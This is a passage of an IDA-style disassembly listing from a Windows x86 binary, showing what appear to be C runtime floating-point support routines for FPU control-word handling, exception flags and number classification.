near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26403CDh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" call near ptr 2670547h nop test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 2690000h nop test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx 